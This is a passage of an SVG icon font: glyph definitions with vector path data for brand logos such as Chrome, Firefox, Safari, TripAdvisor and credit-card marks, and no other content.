l-0.299805 -0.299805c0.5 13.7002 0.799805 27.5 0.799805 41.2998c-3 1.7002 -5.7002 4.10059 -8.10059 6.7998c-6.5 1.30078 -12.8994 5.10059 -15.0996 8.90039c-1.90039 4.09961 1.2998 7.59961 5.90039 10.2998c-0.200195 0.5 -0.5 1.60059 -0.5 2.40039
c-3 0.799805 -5.40039 1.7998 -7.60059 3.2002c-31.5996 -29.4004 -65.3994 -56.7002 -103.5 -76.7002c38.9004 -11.7002 76 -28.1006 111.9 -47.6006zM560.1 -6.09961c3 31.0996 -43.5 61.3994 -66.1992 54.5c-14.6006 -4.30078 -27.8008 -30.8008 -33.5 -54
c0 -23.8008 21.1992 -37.9004 40.5 -37c19.1992 0.799805 46.5 17 59.1992 36.5zM372.9 372.8c-35.7002 39.2002 -81.4004 47.7998 -126 23.5c25.1992 56.2002 122.199 48.6006 126 -23.5zM74.7998 40.9004c14.9004 1.89941 24.6006 -19.2002 18.6006 -30.8008
c-4.80078 -9.69922 -23.7002 -24.0996 -35.9004 -27.2998c-16.5 -4.59961 -32.2002 3.2998 -32.2002 14.9004c0 17.7998 33.7998 41.5996 49.5 43.2002zM290.7 217.1c-30.9004 0 -57.6006 25.7002 -50.2998 59.8008c13.1992 -20.7002 46.5 -12 46.5 11.2998
c0 10 -7 18.5996 -16.5 21.5996c31.6992 13.7998 72.1992 -8.2002 72.1992 -44.2998c0 -26.7998 -23.2998 -48.4004 -51.8994 -48.4004zM68 -26.0996c-0.5 8.39941 20.2998 23.5 29.2002 25.0996c8.59961 1.59961 12.7002 -11.4004 9.7002 -18.4004
c-2.7002 -5.69922 -10.5 -13.5 -17.3008 -16.1992c-9.39941 -3.2002 -21.0996 3 -21.5996 9.5zM501.2 40.9004c15.7002 -1.60059 49.5 -25.4004 49.5 -43.2002c0 -11.7002 -15.7002 -19.5 -32.2002 -14.9004c-12.0996 3.2002 -31.2998 17.6006 -36.2002 27.2998
c-5.7002 11.6006 4 32.7002 18.9004 30.8008zM478.8 -1c8.90039 -1.59961 30 -16.7002 29.1006 -25.0996c-0.200195 -6.5 -12.1006 -12.7002 -21.3008 -9.5c-7 2.69922 -14.8994 10.5 -17.2998 16.1992c-2.89941 7.10059 1.10059 20 9.5 18.4004z" />
    <glyph glyph-name="opencart" unicode="&#xf23d;" horiz-adv-x="640" 
d="M423.3 7.2998c0 -25.2998 -20.2998 -45.5996 -45.5996 -45.5996s-45.7998 20.2998 -45.7998 45.5996s20.5996 45.7998 45.7998 45.7998c25.3994 0 45.5996 -20.5 45.5996 -45.7998zM169.4 53.0996c25.2998 0 45.7998 -20.5 45.7998 -45.7998
s-20.5 -45.5996 -45.7998 -45.5996c-25.3008 0 -45.6006 20.3994 -45.6006 45.5996s20.2998 45.7998 45.6006 45.7998zM461.1 323.1c302.2 0 169.5 -67.1992 -17.1992 -233.899c59.1992 102.8 262.5 193.899 -70.8008 188.899c-319.8 -4.69922 -338.699 92.5 -373.1 144.2
c81.9004 -86.3994 158.9 -99.2002 461.1 -99.2002z" />
    <glyph glyph-name="expeditedssl" unicode="&#xf23e;" horiz-adv-x="496" 
d="M248 404.6c117.4 0 212.6 -95.1992 212.6 -212.6s-95.1992 -212.6 -212.6 -212.6s-212.6 95.1992 -212.6 212.6s95.1992 212.6 212.6 212.6zM150.6 271.7h-0.199219v-26.6006c0 -5 3.89941 -8.89941 8.89941 -8.89941h17.7002c5 0 8.90039 3.89941 8.90039 8.89941
v26.6006c0 82.0996 124 82.0996 124 0v-26.6006c0 -5 3.89941 -8.89941 8.89941 -8.89941h17.7002c5 0 8.90039 3.89941 8.90039 8.89941v26.6006c0 53.7002 -43.7002 97.3994 -97.4004 97.3994s-97.4004 -43.6992 -97.4004 -97.3994zM389.7 68v141.7
c0 9.7002 -8 17.7002 -17.7002 17.7002h-248c-9.7002 0 -17.7002 -8 -17.7002 -17.7002v-141.7c0 -9.7002 8 -17.7002 17.7002 -17.7002h248c9.7002 0 17.7002 8 17.7002 17.7002zM141.7 205.3v-132.899c0 -2.5 -1.90039 -4.40039 -4.40039 -4.40039h-8.89941
c-2.5 0 -4.40039 1.90039 -4.40039 4.40039v132.899c0 2.5 1.90039 4.40039 4.40039 4.40039h8.89941c2.5 0 4.40039 -1.90039 4.40039 -4.40039zM283.4 156.6c0 -13 -7.2002 -24.3994 -17.7002 -30.3994v-31.6006c0 -5 -3.90039 -8.89941 -8.90039 -8.89941h-17.7002
c-5 0 -8.89941 3.89941 -8.89941 8.89941v31.6006c-10.5 6.09961 -17.7002 17.3994 -17.7002 30.3994c0 19.7002 15.7998 35.4004 35.4004 35.4004c19.5996 0 35.5 -15.7998 35.5 -35.4004zM248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248
s111 248 248 248zM248 -38.2998c127 0 230.3 103.3 230.3 230.3s-103.3 230.3 -230.3 230.3s-230.3 -103.3 -230.3 -230.3s103.3 -230.3 230.3 -230.3z" />
    <glyph glyph-name="cc-jcb" unicode="&#xf24b;" horiz-adv-x="576" 
d="M431.5 203.7v32.2998c41.2002 0 38.5 -0.200195 38.5 -0.200195c7.2998 -1.2998 13.2998 -7.2998 13.2998 -16c0 -8.7998 -6 -14.5 -13.2998 -15.7998c-1.2002 -0.400391 -3.2998 -0.299805 -38.5 -0.299805zM474.3 183.5c7.5 -1.5 13.5 -8.2998 13.5 -17
c0 -9 -6 -15.5 -13.5 -17c-2.7998 -0.700195 -3.2002 -0.5 -42.7998 -0.5v35c39.5 0 40 0.200195 42.7998 -0.5zM576 368v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480c26.5 0 48 -21.5 48 -48zM182 255.7h-57
c0 -67.1006 10.7002 -109.7 -35.7998 -109.7c-19.5 0 -38.7998 5.7002 -57.2002 14.7998v-28c30 -8.2998 68 -8.2998 68 -8.2998c97.9004 0 82 47.7002 82 131.2zM360.5 251.2c-63.4004 16 -165 14.8994 -165 -59.2998c0 -77.1006 108.2 -73.6006 165 -59.2002v28.2998
c-47.5996 -24.7002 -107.5 -22 -107.5 31s59.7998 55.5996 107.5 31.2002v28zM544 161.5c0 18.5 -16.5 30.5 -38 32v0.799805c19.5 2.7002 30.2998 15.5 30.2998 30.2002c0 19 -15.7002 30 -37 31c0 0 6.2998 0.299805 -120.3 0.299805v-127.5h122.7
c24.2998 -0.0996094 42.2998 12.9004 42.2998 33.2002z" />
    <glyph glyph-name="cc-diners-club" unicode="&#xf24c;" horiz-adv-x="576" 
d="M239.7 368.1c97.2002 0 175.8 -78.5996 175.8 -175.8c0 -96.8994 -78.5996 -175.8 -175.8 -175.8c-96.9004 0 -175.8 78.9004 -175.8 175.8c0 97.2002 78.8994 175.8 175.8 175.8zM199.8 88.5v207.9c-41.7002 -16.2002 -71.3994 -56.7002 -71.3994 -104.101
c0 -47.3994 29.6992 -87.8994 71.3994 -103.8zM279.6 88.2002c41.7002 16.2002 71.4004 56.7002 71.4004 104.1c0 47.4004 -29.7002 87.9004 -71.4004 104.101v-208.2zM528 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352
c0 26.5 21.5 48 48 48h480zM329.7 0c105 0 200.7 85.5 200.7 190.2c0 114.6 -95.7002 193.8 -200.7 193.8h-90.2998c-106.2 0 -193.801 -79.2002 -193.801 -193.8c0 -104.7 87.6006 -190.2 193.801 -190.2h90.2998z" />
    <glyph glyph-name="creative-commons" unicode="&#xf25e;" horiz-adv-x="496" 
d="M245.83 233.13l-33.2197 -17.2803c-9.43066 19.5801 -25.2402 19.9307 -27.46 19.9307c-22.1309 0 -33.2207 -14.6104 -33.2207 -43.8398c0 -23.5703 9.20996 -43.8408 33.2207 -43.8408c14.4697 0 24.6494 7.09082 30.5693 21.2607l30.5498 -15.5
c-6.16992 -11.5107 -25.6895 -38.9805 -65.0996 -38.9805c-22.5996 0 -73.96 10.3203 -73.96 77.0498c0 58.6904 43 77.0605 72.6299 77.0605c30.7197 0.00976562 52.7002 -11.9502 65.9902 -35.8604zM388.88 233.13l-32.7803 -17.2803
c-9.5 19.7705 -25.7197 19.9307 -27.8994 19.9307c-22.1406 0 -33.2197 -14.6104 -33.2197 -43.8398c0 -23.5508 9.22949 -43.8408 33.2197 -43.8408c14.4502 0 24.6494 7.09082 30.54 21.2607l31 -15.5c-2.10059 -3.75 -21.3906 -38.9805 -65.0898 -38.9805
c-22.6904 0 -73.96 9.87012 -73.96 77.0498c0 58.6699 42.9697 77.0605 72.6299 77.0605c30.71 0.00976562 52.5801 -11.9502 65.5596 -35.8604zM247.56 439.95c141.82 0 248.44 -110.13 248.44 -248c0 -147.13 -118.51 -248 -248.44 -248
c-133.96 0 -247.56 109.51 -247.56 248c0 132.939 104.74 248 247.56 248zM248.43 -10.8604c103.16 0 202.83 81.1299 202.84 202.82c0 113.8 -90.2891 203.26 -202.819 203.26c-118.29 0 -203.72 -97.8496 -203.72 -203.27c0 -109.771 91.1592 -202.811 203.699 -202.811z
" />
    <glyph glyph-name="gg" unicode="&#xf260;" horiz-adv-x="512" 
d="M179.2 217.6l102.399 -102.399l-102.399 -102.4l-179.2 179.2l179.2 179.2l44.7998 -44.7998l-25.5996 -25.6006l-19.2002 19.2002l-128 -128l128 -128l51.5 51.5l-77.1006 76.5zM332.8 371.2l179.2 -179.2l-179.2 -179.2l-44.7998 44.7998l25.5996 25.6006
l19.2002 -19.2002l128 128l-128 128l-51.5 -51.5l77.1006 -76.5l-25.6006 -25.5996l-102.399 102.399z" />
    <glyph glyph-name="gg-circle" unicode="&#xf261;" horiz-adv-x="512" 
d="M257 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM207.5 65.2002l75 75.2002l-77.2002 77.1992l-24.3994 -24.3994l53.0996 -52.9004l-26.5996 -26.5996l-77.2002 77.2002l77.2002 77.1992l11.0996 -11.0996l24.2002 24.2002
l-35.2002 35.3994l-125.7 -125.699zM306.5 67.4004l125.7 125.6l-125.7 125.7l-75 -75l77.2002 -77.2002l24.3994 24.4004l-53.0996 52.8994l26.5 26.5l77.2002 -77.2002l-77.2002 -77.1992l-11.0996 11.0996l-24.1006 -24.4004z" />
    <glyph glyph-name="tripadvisor" unicode="&#xf262;" horiz-adv-x="576" 
d="M166.4 167.479c0 -13.2354 -10.7305 -23.9658 -23.9668 -23.9658c-13.2354 0 -23.9658 10.7305 -23.9658 23.9658c0 13.2363 10.7305 23.9668 23.9658 23.9668c13.2363 0 23.9668 -10.7295 23.9668 -23.9668zM431.362 191.435
c13.2295 0 23.9551 -10.7246 23.9561 -23.9561c0 -13.2305 -10.7266 -23.9551 -23.9561 -23.9551c-13.2314 0 -23.9561 10.7256 -23.9561 23.9551c0 13.2314 10.7256 23.9561 23.9561 23.9561zM520.75 51.9453c-62.667 -49.1045 -153.276 -38.1094 -202.379 24.5586
l-30.9795 -46.3252l-30.6826 45.9395c-48.2773 -60.3906 -135.622 -71.8916 -197.885 -26.0547c-64.0586 47.1572 -77.7588 137.315 -30.6016 201.373c-5.05762 17.1221 -17.7021 42.7236 -28.2227 57.1475l90.2861 0.0498047
c48.0039 29.8701 132.851 54.1123 189.389 54.1123c2.11914 0 5.55762 -0.0371094 7.67578 -0.0820312c1.72363 0.0302734 4.52246 0.0556641 6.24609 0.0556641c55.5518 0 138.851 -23.9258 185.936 -53.4043l96.2178 -0.0742188
c-10.6191 -14.5371 -23.3213 -40.3643 -28.3516 -57.6494c46.793 -62.7471 34.9639 -151.37 -26.6484 -199.646zM259.366 166.239c-0.00683594 63.5566 -51.5352 115.075 -115.092 115.067c-63.5576 -0.00683594 -115.074 -51.5342 -115.068 -115.092
c0.00683594 -63.5566 51.5352 -115.075 115.092 -115.067c63.5127 0.0742188 114.984 51.5381 115.068 115.052v0.0400391zM287.957 176.694c5.43262 73.4395 65.5098 130.884 139.12 133.021c-35.5576 15.374 -95.8555 27.8506 -134.594 27.8506
c-1.41699 0 -3.7168 -0.0166016 -5.13379 -0.0380859c-0.953125 0.00878906 -2.50098 0.0166016 -3.45508 0.0166016c-39.2324 0 -100.479 -12.2168 -136.709 -27.2695c74.3447 -1.58203 135.3 -59.4248 140.771 -133.581zM539.663 205.461
c-21.9922 59.6338 -88.1621 90.1484 -147.795 68.1572c-59.6338 -21.9922 -90.1484 -88.1621 -68.1572 -147.795v-0.0322266c22.0381 -59.6074 88.1982 -90.0908 147.827 -68.1133c59.6152 22.0039 90.1133 88.1621 68.125 147.783zM213.624 167.486v-0.115234
c-0.0566406 -39.3281 -31.9863 -71.1631 -71.3145 -71.1064c-39.3271 0.0576172 -71.1621 31.9863 -71.1055 71.3145s31.9863 71.1631 71.3135 71.1055c39.2598 -0.115234 71.042 -31.9395 71.1064 -71.1982zM189.112 167.486v0.0839844
c-0.0517578 25.7832 -20.9941 46.6445 -46.7783 46.5938s-46.6445 -20.9941 -46.5938 -46.7773c0.0507812 -25.7842 20.9941 -46.6445 46.7764 -46.5938c25.7266 0.113281 46.5371 20.9678 46.5957 46.6934zM502.535 167.486
c-0.0205078 -39.3281 -31.918 -71.2422 -71.2471 -71.2217c-39.3291 0.0214844 -71.1943 31.918 -71.1729 71.2471c0.0195312 39.3281 31.918 71.1943 71.2471 71.1729c39.29 -0.0654297 71.1211 -31.9082 71.1729 -71.1982zM478.031 167.494
c-0.00878906 25.7842 -20.918 46.6787 -46.7021 46.6699s-46.6787 -20.918 -46.6699 -46.7021s20.918 -46.6777 46.7021 -46.6699c25.7646 0.0458984 46.6357 20.9277 46.6699 46.6934v0.00878906z" />
    <glyph glyph-name="odnoklassniki" unicode="&#xf263;" horiz-adv-x="320" 
d="M275.1 114c-27.3994 -17.4004 -65.0996 -24.2998 -90 -26.9004l20.9004 -20.5996l76.2998 -76.2998c27.9004 -28.6006 -17.5 -73.2998 -45.7002 -45.7002c-19.0996 19.4004 -47.0996 47.4004 -76.2998 76.5996l-76.2998 -76.5
c-28.2002 -27.5 -73.5996 17.6006 -45.4004 45.7002c19.4004 19.4004 47.1006 47.4004 76.3008 76.2998l20.5996 20.6006c-24.5996 2.59961 -62.9004 9.09961 -90.5996 26.8994c-32.6006 21 -46.9004 33.3008 -34.3008 59c7.40039 14.6006 27.7002 26.9004 54.6006 5.7002
c0 0 36.2998 -28.8994 94.8994 -28.8994c58.6006 0 94.9004 28.8994 94.9004 28.8994c26.9004 21.1006 47.0996 8.90039 54.5996 -5.7002c12.4004 -25.6992 -1.89941 -38 -34.5 -59.0996zM30.2998 318.3c0 71.7002 58.2998 129.7 129.7 129.7s129.7 -58 129.7 -129.7
c0 -71.3994 -58.2998 -129.399 -129.7 -129.399s-129.7 58 -129.7 129.399zM96.2998 318.3c0 -35.0996 28.6006 -63.7002 63.7002 -63.7002s63.7002 28.6006 63.7002 63.7002c0 35.4004 -28.6006 64 -63.7002 64s-63.7002 -28.5996 -63.7002 -64z" />
    <glyph glyph-name="odnoklassniki-square" unicode="&#xf264;" 
d="M184.2 270.9c0 22.0996 17.8994 40 39.7998 40s39.7998 -17.9004 39.7998 -40c0 -22 -17.8994 -39.8008 -39.7998 -39.8008s-39.7998 17.9004 -39.7998 39.8008zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352
c26.5 0 48 -21.5 48 -48zM142.9 270.9c0 -44.6006 36.3994 -80.9004 81.0996 -80.9004s81.0996 36.2002 81.0996 80.9004c0 44.7998 -36.3994 81.0996 -81.0996 81.0996s-81.0996 -36.2002 -81.0996 -81.0996zM317.4 180.2
c-4.60059 9.09961 -17.3008 16.7998 -34.1006 3.59961c0 0 -22.7002 -18 -59.2998 -18s-59.2998 18 -59.2998 18c-16.7998 13.2002 -29.5 5.5 -34.1006 -3.59961c-7.89941 -16.1006 1.10059 -23.7002 21.4004 -37c17.2998 -11.1006 41.2002 -15.2002 56.5996 -16.7998
l-12.8994 -12.9004c-18.2002 -18 -35.5 -35.5 -47.7002 -47.7002c-17.5996 -17.5996 10.7002 -45.7998 28.4004 -28.5996l47.6992 47.8994c18.2002 -18.1992 35.7002 -35.6992 47.7002 -47.8994c17.6006 -17.2002 46 10.7002 28.6006 28.5996l-47.7002 47.7002l-13 12.9004
c15.5 1.59961 39.0996 5.89941 56.2002 16.7998c20.3994 13.2998 29.2998 21 21.5 37z" />
    <glyph glyph-name="get-pocket" unicode="&#xf265;" 
d="M407.6 384c22.7002 0 40.4004 -18.2002 40.4004 -40.5996v-135.2c0 -124.7 -99.7998 -224.2 -223.8 -224.2c-124.5 0 -224.2 99.5 -224.2 224.2v135.2c0 22.0996 18.5 40.5996 40.5996 40.5996h367zM245.6 115.5c111.9 107.5 114.801 105.4 114.801 123.2
c0 16.8994 -13.8008 30.7002 -30.7002 30.7002c-16.9004 0 -14.9004 -2.40039 -105.5 -89.3008c-89.1006 85.5 -88.2002 89.3008 -105.2 89.3008c-16.9004 0 -30.7002 -13.8008 -30.7002 -30.7002c0 -18.1006 1.2002 -14.2998 114.9 -123.2
c11 -11.0996 30 -11.7998 42.3994 0z" />
    <glyph glyph-name="wikipedia-w" unicode="&#xf266;" horiz-adv-x="640" 
d="M640 396.8l-0.299805 -12.2002c-28.1006 -0.799805 -45 -15.7998 -55.7998 -40.2998c-25 -57.7998 -103.301 -240 -155.301 -358.6h-13.5996l-81.9004 193.1c-32.5 -63.5996 -68.2998 -130 -99.1992 -193.1c-0.300781 -0.299805 -15 0 -15 0.299805
c-46.9004 109.7 -96.1006 218.6 -143.101 328.6c-11.3994 26.7002 -49.3994 70 -75.5996 69.7002c0 3.10059 -0.299805 10 -0.299805 14.2002h161.899v-13.9004c-19.2002 -1.09961 -52.7998 -13.2998 -43.2998 -34.1992c21.9004 -49.7002 103.6 -240.301 125.6 -288.601
c15 29.7002 57.8008 109.2 75.3008 142.8c-13.9004 28.3008 -58.6006 133.9 -72.8008 160c-9.69922 17.8008 -36.0996 19.4004 -55.7998 19.7002v13.9004l142.5 -0.299805v-13.1006c-19.3994 -0.599609 -38.0996 -7.7998 -29.3994 -26.0996
c18.8994 -40 30.5996 -68.1006 48.0996 -104.7c5.59961 10.7998 34.7002 69.4004 48.0996 100.8c8.90039 20.6006 -3.89941 28.6006 -38.5996 29.4004c0.299805 3.59961 0 10.2998 0.299805 13.5996c44.4004 0.299805 111.101 0.299805 123.101 0.600586v-13.6006
c-22.5 -0.799805 -45.8008 -12.7998 -58.1006 -31.7002l-59.2002 -122.8c6.40039 -16.0996 63.3008 -142.8 69.2002 -156.7l122.4 282.601c-8.60059 23.0996 -36.4004 28.0996 -47.2002 28.2998v13.9004l127.8 -1.10059z" />
    <glyph glyph-name="safari" unicode="&#xf267;" horiz-adv-x="512" 
d="M236.9 191.2c0 9.09961 6.59961 17.7002 16.2998 17.7002c8.89941 0 17.3994 -6.40039 17.3994 -16.1006c0 -9.09961 -6.39941 -17.7002 -16.0996 -17.7002c-9 0 -17.5996 6.7002 -17.5996 16.1006zM504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248
s111 248 248 248s248 -111 248 -248zM477.4 192c0 122.3 -99.1006 221.4 -221.4 221.4s-221.4 -99.1006 -221.4 -221.4s99.1006 -221.4 221.4 -221.4s221.4 99.1006 221.4 221.4zM404.9 95.4004c0 -3.60059 13 -10.2002 16.2998 -12.2002
c-27.4004 -41.5 -69.7998 -71.4004 -117.9 -83.2998l-4.39941 18.5c-0.300781 2.5 -1.90039 2.7998 -4.2002 2.7998c-1.90039 0 -3 -2.7998 -2.7998 -4.2002l4.39941 -18.7998c-13.2998 -2.7998 -26.7998 -4.2002 -40.3994 -4.2002c-36.3008 0 -72 10.2002 -103 29.0996
c1.69922 2.80078 12.1992 18 12.1992 20.2002c0 1.90039 -1.69922 3.60059 -3.59961 3.60059c-3.90039 0 -12.2002 -16.6006 -14.7002 -19.9004c-41.7998 27.7002 -72 70.5996 -83.5996 119.6l19.0996 4.2002c2.2002 0.600586 2.7998 2.2002 2.7998 4.2002
c0 1.90039 -2.7998 3 -4.39941 2.7998l-18.7002 -4.2998c-2.5 12.7002 -3.90039 25.5 -3.90039 38.5c0 37.0996 10.5 73.5996 30.2002 104.9c2.7998 -1.7002 16.1006 -10.8008 18.2998 -10.8008c1.90039 0 3.60059 1.40039 3.60059 3.30078
c0 3.89941 -14.7002 11.2998 -18 13.5996c28.2002 41.2002 71.0996 70.9004 119.8 81.9004l4.2002 -18.5c0.599609 -2.2002 2.2002 -2.80078 4.2002 -2.80078s3 2.80078 2.7998 4.40039l-4.2002 18.2998c12.2002 2.2002 24.5996 3.60059 37.0996 3.60059
c37.1006 0 73.3008 -10.5 104.9 -30.2002c-1.90039 -2.7998 -10.7998 -15.7998 -10.7998 -18c0 -1.90039 1.39941 -3.60059 3.2998 -3.60059c3.90039 0 11.2998 14.4004 13.2998 17.7002c41 -27.7002 70.2998 -70 81.7002 -118.2l-15.5 -3.2998
c-2.5 -0.599609 -2.7998 -2.2002 -2.7998 -4.39941c0 -1.90039 2.7998 -3 4.2002 -2.80078l15.7998 3.60059c2.5 -12.7002 3.89941 -25.7002 3.89941 -38.7002c0 -36.2998 -10 -72 -28.7998 -102.7c-2.7998 1.40039 -14.3994 9.7002 -16.5996 9.7002
c-2.10059 0 -3.7998 -1.7002 -3.7998 -3.59961zM371.7 337.6c-13 -12.1992 -134.2 -123.699 -137.601 -129.5l-96.5996 -160.5c12.7002 11.9004 134.2 124 137.3 129.301z" />
    <glyph glyph-name="chrome" unicode="&#xf268;" horiz-adv-x="496" 
d="M131.5 230.5l-76.4004 117.4c47.6006 59.1992 119 91.7998 192 92.0996c42.3008 0.299805 85.5 -10.5 124.801 -33.2002c43.3994 -25.2002 76.3994 -61.3994 97.3994 -103l-205.3 10.7998c-58.0996 3.40039 -113.4 -29.2998 -132.5 -84.0996zM164.4 192
c0 46.2998 37.3994 83.5996 83.5996 83.5996s83.5996 -37.3994 83.5996 -83.5996s-37.3994 -83.5996 -83.5996 -83.5996s-83.5996 37.3994 -83.5996 83.5996zM479.3 281.2c43.5 -111.9 0 -241.9 -107.399 -303.9c-43.4004 -25.2002 -91.3008 -35.3994 -137.801 -32.8994
l112.101 172.399c31.8994 49 31.2998 112.9 -6.60059 157.2zM133.7 144.4c26.2998 -51.7002 81.8994 -83.3008 139.5 -72.5l-63.7002 -124.801c-118.7 18.2002 -209.5 120.9 -209.5 244.9c0 50.0996 14.9004 96.9004 40.4004 135.9z" />
    <glyph glyph-name="firefox" unicode="&#xf269;" horiz-adv-x="480" 
d="M478.1 212.7c1.30078 -7.10059 1.90039 -14.2998 1.90039 -21.6006v-2.7998c-1.40039 -34 -11.5996 -67 -29.5996 -95.8994c-1 -1.5 -1.80078 -2.90039 -2.7002 -4.30078c2.7002 -7.19922 2.59961 -15.0996 -0.400391 -22.1992
c-5 -19.4004 -16.5996 -36.4004 -32.8994 -48.1006c-10.8008 -8.7002 -22.7002 -16.2002 -35.3008 -22.0996l-1.89941 -0.900391l-1 -0.5c-1.7002 -0.700195 -3.2998 -1.39941 -4.90039 -2.09961c-2.39941 -5.10059 -5.7998 -9.60059 -9.89941 -13.2998
c-2.5 -3.10059 -30.1006 -35 -113.801 -35c-23.5996 0 -47.1992 3.5 -69.7998 10.2998c0.799805 -0.299805 1.60059 -0.700195 2.40039 -1c-2.60059 0.899414 -5.2002 1.7998 -7.7002 2.7002c-19.0996 5.89941 -37.2002 14.5996 -53.7998 25.7998
c-40.7002 24.7002 -72.9004 61.2002 -92.2998 104.7c-14.5 31.3994 -21.1006 65.7998 -19.4004 100.3c-2.7998 -8.2998 -5.2002 -16.7002 -7 -25.2998c0 29.1992 5.5 58.0996 16.2002 85.1992c-5.5 -7.89941 -10.2998 -16.2998 -14.2998 -25.0996
c5.69922 23.0996 14.6992 45.2002 26.7998 65.5996c3.7002 6.10059 7.89941 11.9004 12.7002 17.1006v0.200195c-0.100586 2.69922 0.0996094 5.5 0.5 8.2998c1.5 16.2998 5.69922 32.2002 12.3994 47.0996l0.299805 0.700195c0.100586 0.299805 0 -1 0 -1.7002
s-0.0996094 -1.2998 0 -1c0.600586 2 1.40039 4 2.30078 5.90039c1 2.09961 2.39941 4.09961 3.89941 5.7998c0.100586 0.0996094 0.200195 0.200195 0.299805 0.400391c0.100586 0.199219 -0.399414 -2 -0.5 -3.10059v-0.5c0.600586 1.2002 1.30078 2.40039 2.2002 4.5
c2.10059 5.90039 6 11 11.1006 14.5l0.199219 0.100586c-0.299805 -9 1.2002 -17.9004 4.40039 -26.2002v-0.100586c0.299805 -0.399414 0.5 1.30078 0.900391 1.30078c0.0996094 0 0.199219 -0.100586 0.199219 -0.200195
c0.900391 -1.7998 1.80078 -3.60059 2.7002 -5.2002c1.2998 -2.2002 2.5 -4.2002 3.7002 -6l0.400391 -0.200195l0.199219 0.100586c2.60059 -4.2002 5.90039 -7.80078 9.7002 -10.9004h-0.200195l0.200195 -0.0996094c18.2998 3.59961 37.2002 2 54.6006 -4.7002
l0.0996094 0.0996094c2.09961 2.60059 4.59961 4.90039 7.2998 6.90039c0 -0.900391 -0.0996094 -1.7998 -0.200195 -2.7002c4 5 9.10059 9 15 11.5c-0.399414 -0.700195 -0.5 -1.40039 -0.5 -2.2002c7.40039 4.2998 15.5 7.40039 23.9004 9
c1.09961 0 -3.5 -1.7998 -5.09961 -3.09961c3.69922 1.59961 7.69922 2.59961 11.6992 2.7998c6.60059 0.700195 14 -2.09961 12.6006 -2.7002c-2.7998 -1 -5.5 -2.2002 -8.2002 -3.5c-0.799805 -0.700195 3.2002 0.200195 2.40039 -0.5
c-14 -9.2002 -24.8008 -22.5996 -30.8008 -38.2998v-0.0996094c2.5 -11 11.4004 -19.3008 22.5 -21.1006c31.5 -3 37.5 -5.59961 38.4004 -9.09961v-1.5c-0.0996094 -1 -0.200195 -1.90039 -0.299805 -2.7998c-1.2002 -6.90039 -4.90039 -13.2002 -10.2002 -17.7002
c-1.40039 -1.2998 -2.90039 -2.5 -4.5 -3.5c-1.09961 -0.700195 -6.40039 -2.7998 -12.7998 -5.60059c-7.90039 -3.19922 -15.5 -7.09961 -22.7002 -11.5996c-1.2998 -0.799805 -2.40039 -1.7002 -3.40039 -2.7002c-0.399414 -0.399414 -1.19922 -1.5 -1.19922 -1.5
v-0.0996094c0.5 -1.2002 1 -2.40039 1.19922 -3.7002c-1.39941 1.7002 -2.69922 1.09961 -1.89941 -0.5c0.899414 -2.5 1.2998 -5.2002 1.09961 -7.7998c0.200195 -4.7998 -0.700195 -9.60059 -2.59961 -14c-2.10059 1.5 -4.2998 2.89941 -6.60059 4.09961h-0.199219
c2.5 -1.59961 4.2998 -3.89941 5.39941 -6.59961c0.700195 -2.2002 -0.299805 -2.7002 -0.299805 -2.7002c-1.40039 2 -3.09961 3.59961 -5.2002 4.7002c-3.09961 1.7998 -8.7998 4.7002 -11.3994 5.7998c-0.300781 -0.200195 -0.5 -0.0996094 -0.800781 -0.200195
c0.800781 -1.2998 2.10059 -3.7998 2.10059 -3.7998s-1.7998 1.09961 -4.7998 2.59961c-3.90039 -1.7998 -7.2002 -4.89941 -9.30078 -8.69922c-3.5 -7.7002 -3.09961 -16.7002 1 -24.1006c4 -6 9.10059 -11.2002 15 -15.2002
c0.400391 -0.299805 -3.39941 1.10059 -3.09961 0.800781c4.59961 -3.2002 9.40039 -6.10059 14.4004 -8.60059c1.5 -1 -5 1.2002 -3.40039 0.299805c1.40039 -0.899414 2.7998 -1.69922 4.2998 -2.5c22.9004 -12.0996 38.9004 0.400391 56.4004 2.90039
c16.7998 3 33.7998 -3.59961 44.2002 -17c6 -8.5 -0.600586 -16.7002 -9 -14h-0.200195c-8.60059 2.90039 -19.1006 -4.2998 -36.6006 -14c-17.2998 -8.2998 -36.8994 -10.5996 -55.5996 -6.59961c-4.7998 0.899414 -9.40039 2.09961 -14 3.69922l-2 0.700195
l0.200195 -0.299805c8.7998 -12.2002 19.8994 -22.5 32.7998 -30.2998c8.7002 -4.40039 17.9004 -7.5 27.4004 -9.2998c8 -1.90039 16.1992 -2.80078 24.5 -2.80078c61 -0.0996094 110.6 49.4004 110.6 110.4c0.0996094 15.9004 -3.09961 31.7998 -9.2998 46.5
c20.7002 -12.2998 37.5996 -30.2002 48.7998 -51.5c-13.9004 40.5996 -40.2998 56.4004 -64.7002 76.5996c-19.5996 14.8008 -34.7002 34.9004 -43.3994 57.9004c-25.2002 67.7998 33.0996 132.9 33.0996 132.9s-3.59961 -15.1006 27.4004 -44.3008
c6.39941 -5.89941 16.7998 -14.5 28.8994 -26.6992c1.7002 9.2998 4.2002 18.3994 7.40039 27.2998c2.5 -14.7002 7.7998 -28.7998 15.3994 -41.6006c11.7002 -16.6992 21.9004 -25.5996 30.7002 -40c1.90039 -2.5 3.7998 -5.19922 5.60059 -7.89941
c5.09961 -7.2002 9.5 -14.7998 13.2998 -22.7998c6 -12 10.7998 -24.5 14.5 -37.4004c3 -10.4004 4.89941 -20.9004 5.7998 -31.5996c2.90039 3.89941 4.7002 5.89941 4.7002 5.89941s0.700195 -2.59961 1.39941 -7.09961zM179.1 310.3
c-0.5 -1.2002 -0.899414 -2.2998 -1.2998 -3.5c0.400391 1.2002 0.900391 2.40039 1.2998 3.5z" />
    <glyph glyph-name="opera" unicode="&#xf26a;" horiz-adv-x="496" 
d="M313.9 415.3c-170.2 0 -252.601 -223.8 -147.5 -355.1c36.5 -45.4004 88.5996 -75.6006 147.5 -75.6006c36.2998 0 70.2998 11.1006 99.3994 30.4004c-43.7998 -39.2002 -101.899 -63 -165.3 -63c-3.90039 0 -8 0 -11.9004 0.299805
